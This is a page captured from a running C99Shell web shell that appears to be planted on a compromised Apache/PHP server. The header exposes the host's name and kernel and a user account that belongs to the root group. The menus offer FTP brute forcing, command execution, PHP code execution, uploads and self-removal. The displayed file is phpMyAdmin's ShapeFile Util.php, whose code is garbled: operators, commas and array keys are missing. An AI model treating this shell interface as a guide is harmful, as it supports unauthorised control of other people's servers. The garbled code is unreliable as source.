!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/phpmyadmin/shapefile/src/   drwxr-xr-x
Free 28.18 GB of 117.98 GB (23.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Util.php (2.97 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/**
 * phpMyAdmin ShapeFile library
 * <https://github.com/phpmyadmin/shapefile/>.
 *
 * Copyright 2006-2007 Ovidio <ovidio AT users.sourceforge.net>
 * Copyright 2016 - 2017 Michal Čihař <michal@cihar.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, you can download one from
 * https://www.gnu.org/copyleft/gpl.html.
 */

namespace PhpMyAdmin\ShapeFile;

use function 
current;
use function 
pack;
use function 
sprintf;
use function 
strlen;
use function 
unpack;

class 
Util
{
    
/** @var bool|null */
    
private static $littleEndian null;

    
/** @var array */
    
private static $shapeNames = [
        
=> 'Null Shape',
        
=> 'Point',
        
=> 'PolyLine',
        
=> 'Polygon',
        
=> 'MultiPoint',
        
11 => 'PointZ',
        
13 => 'PolyLineZ',
        
15 => 'PolygonZ',
        
18 => 'MultiPointZ',
        
21 => 'PointM',
        
23 => 'PolyLineM',
        
25 => 'PolygonM',
        
28 => 'MultiPointM',
        
31 => 'MultiPatch',
    ];

    
/**
     * Reads data.
     *
     * @param string       $type type for unpack()
     * @param string|false $data Data to process
     *
     * @return mixed|false
     */
    
public static function loadData(string $type$data)
    {
        if (
$data === false) {
            return 
false;
        }

        if (
strlen($data) === 0) {
            return 
false;
        }

        
$tmp unpack($type$data);

        return 
$tmp === false $tmp current($tmp);
    }

    
/**
     * Changes endianity.
     *
     * @param string $binValue Binary value
     */
    
public static function swap(string $binValue): string
    
{
        
$result $binValue[strlen($binValue) - 1];
        for (
$i strlen($binValue) - 2$i >= 0; --$i) {
            
$result .= $binValue[$i];
        }

        return 
$result;
    }

    
/**
     * Encodes double value to correct endianity.
     *
     * @param float $value Value to pack
     */
    
public static function packDouble(float $value): string
    
{
        
$bin pack('d', (float) $value);

        if (
self::$littleEndian === null) {
            
self::$littleEndian = (pack('L'1) === pack('V'1));
        }

        if (
self::$littleEndian) {
            return 
$bin;
        }

        return 
self::swap($bin);
    }

    
/**
     * Returns shape name.
     */
    
public static function nameShape(int $type): string
    
{
        if (isset(
self::$shapeNames[$type])) {
            return 
self::$shapeNames[$type];
        }

        return 
sprintf('Shape %d'$type);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--